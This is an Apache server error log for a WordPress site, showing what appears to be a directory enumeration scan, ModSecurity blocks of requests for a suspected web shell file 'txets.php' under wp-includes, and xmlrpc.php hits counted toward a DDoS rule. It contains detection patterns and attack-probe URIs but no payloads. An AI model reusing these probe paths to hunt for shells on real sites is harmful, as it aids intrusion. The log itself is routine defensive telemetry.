[Wed Apr 22 21:06:52.605377 2026] [autoindex:error] [pid 6250:tid 6258] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:52.903390 2026] [autoindex:error] [pid 6250:tid 6278] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:53.202660 2026] [autoindex:error] [pid 6250:tid 6262] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:53.540804 2026] [autoindex:error] [pid 6250:tid 6259] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:53.853186 2026] [autoindex:error] [pid 6250:tid 6266] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/calendar/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:59.028470 2026] [autoindex:error] [pid 6250:tid 6257] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2023/05/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:07:00.616034 2026] [autoindex:error] [pid 6250:tid 6261] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:07:00.986973 2026] [autoindex:error] [pid 6250:tid 6275] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:07:01.301466 2026] [autoindex:error] [pid 6250:tid 6265] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:07:01.690357 2026] [autoindex:error] [pid 6250:tid 6258] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:07:02.049142 2026] [autoindex:error] [pid 6250:tid 6278] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:07:10.164001 2026] [autoindex:error] [pid 6250:tid 6260] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:07:14.248300 2026] [autoindex:error] [pid 6250:tid 6275] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:07:14.594921 2026] [autoindex:error] [pid 6250:tid 6267] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:07:16.228571 2026] [autoindex:error] [pid 6250:tid 6262] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/utils/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:07:23.670396 2026] [autoindex:error] [pid 6250:tid 6254] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:07:23.986706 2026] [autoindex:error] [pid 6250:tid 6256] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:07:24.288738 2026] [autoindex:error] [pid 6250:tid 6275] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:07:24.589494 2026] [autoindex:error] [pid 6250:tid 6271] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:07:29.957496 2026] [autoindex:error] [pid 6250:tid 6264] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:07:33.949706 2026] [autoindex:error] [pid 6250:tid 6257] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:07:34.239778 2026] [autoindex:error] [pid 6250:tid 6254] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/mu-plugins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:07:47.041322 2026] [autoindex:error] [pid 6250:tid 6274] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/imgareaselect/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:07:49.720244 2026] [autoindex:error] [pid 6250:tid 6278] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:07:50.012583 2026] [autoindex:error] [pid 6250:tid 6271] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:07:50.312524 2026] [autoindex:error] [pid 6250:tid 6256] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2021/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:07:51.904404 2026] [autoindex:error] [pid 6250:tid 6266] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:07:54.957777 2026] [autoindex:error] [pid 6250:tid 6270] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:08:16.123116 2026] [autoindex:error] [pid 6384:tid 6396] [client 45.86.202.19:28583] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:08:18.839489 2026] [autoindex:error] [pid 6384:tid 6408] [client 45.86.202.19:28583] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/ui/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:08:21.876312 2026] [autoindex:error] [pid 6384:tid 6391] [client 45.86.202.19:28583] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/themes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:08:24.547588 2026] [autoindex:error] [pid 6384:tid 6407] [client 45.86.202.19:28583] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/themes/inlite/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:08:26.260350 2026] [autoindex:error] [pid 6384:tid 6387] [client 45.86.202.19:28583] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:08:26.566786 2026] [autoindex:error] [pid 6384:tid 6409] [client 45.86.202.19:28583] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:08:28.597807 2026] [autoindex:error] [pid 6384:tid 6395] [client 45.86.202.19:28583] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:08:28.930191 2026] [autoindex:error] [pid 6384:tid 6410] [client 45.86.202.19:28583] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/archives/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:08:29.343689 2026] [autoindex:error] [pid 6384:tid 6402] [client 45.86.202.19:28583] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/components/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:08:33.360773 2026] [autoindex:error] [pid 6384:tid 6406] [client 45.86.202.19:28583] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/pullquote/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:08:36.161758 2026] [autoindex:error] [pid 6384:tid 6395] [client 45.86.202.19:28583] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/comments-pagination-numbers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:08:45.532321 2026] [autoindex:error] [pid 6384:tid 6410] [client 45.86.202.19:28583] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:08:45.893026 2026] [autoindex:error] [pid 6384:tid 6392] [client 45.86.202.19:28583] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/post-terms/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:08:47.478967 2026] [autoindex:error] [pid 6384:tid 6389] [client 45.86.202.19:28583] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/development/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:08:48.969316 2026] [autoindex:error] [pid 6384:tid 6410] [client 45.86.202.19:28583] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/namespaced/Core/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:08:52.926786 2026] [autoindex:error] [pid 6384:tid 6387] [client 45.86.202.19:28583] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:08:58.458799 2026] [autoindex:error] [pid 6384:tid 6396] [client 45.86.202.19:28583] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/site-title/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:09:05.402243 2026] [autoindex:error] [pid 6384:tid 6405] [client 45.86.202.19:28583] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/compat3x/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:09:09.427098 2026] [autoindex:error] [pid 6384:tid 6393] [client 45.86.202.19:28583] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2025/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:09:09.747402 2026] [autoindex:error] [pid 6384:tid 6409] [client 45.86.202.19:28583] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2026/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:17:00.083664 2026] [:error] [pid 6250:tid 6257] [client 194.26.192.99:56635] [client 194.26.192.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/txets.php"] [unique_id "aejKTA-iZeQkqmQVfj4UHAAAAEM"]
[Wed Apr 22 21:17:00.599154 2026] [:error] [pid 6344:tid 6352] [client 194.26.192.99:50938] [client 194.26.192.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "aejKTEDOTF-pkQnDeUn3sgAAAAM"]
[Wed Apr 22 21:17:01.103496 2026] [:error] [pid 6250:tid 6264] [client 194.26.192.99:53056] [client 194.26.192.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "aejKTQ-iZeQkqmQVfj4UIgAAAEo"]
[Wed Apr 22 21:17:03.543027 2026] [:error] [pid 6384:tid 6392] [client 194.26.192.99:54880] [client 194.26.192.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/txets.php"] [unique_id "aejKTz58M3t15ICeWHVJ4wAAAMU"]
[Wed Apr 22 21:19:30.408474 2026] [:error] [pid 23776:tid 23779] [client 43.153.135.208:38760] [client 43.153.135.208] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aejK4rRExf-1pAbSeJv6sAAAAYE"]
[Wed Apr 22 22:59:52.906221 2026] [:error] [pid 9085:tid 9090] [client 103.215.152.149:62722] [client 103.215.152.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.215.152.149, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aejiaN-_-or9vQnlWnrRMAAAAUM"]
[Wed Apr 22 23:00:03.459945 2026] [:error] [pid 9085:tid 9100] [client 103.215.152.149:62984] [client 103.215.152.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.215.152.149, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aejic9-_-or9vQnlWnrRaQAAAU0"]
[Wed Apr 22 23:00:14.181290 2026] [:error] [pid 6384:tid 6394] [client 103.215.152.149:63225] [client 103.215.152.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.215.152.149, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aejifj58M3t15ICeWHWJowAAAMc"]
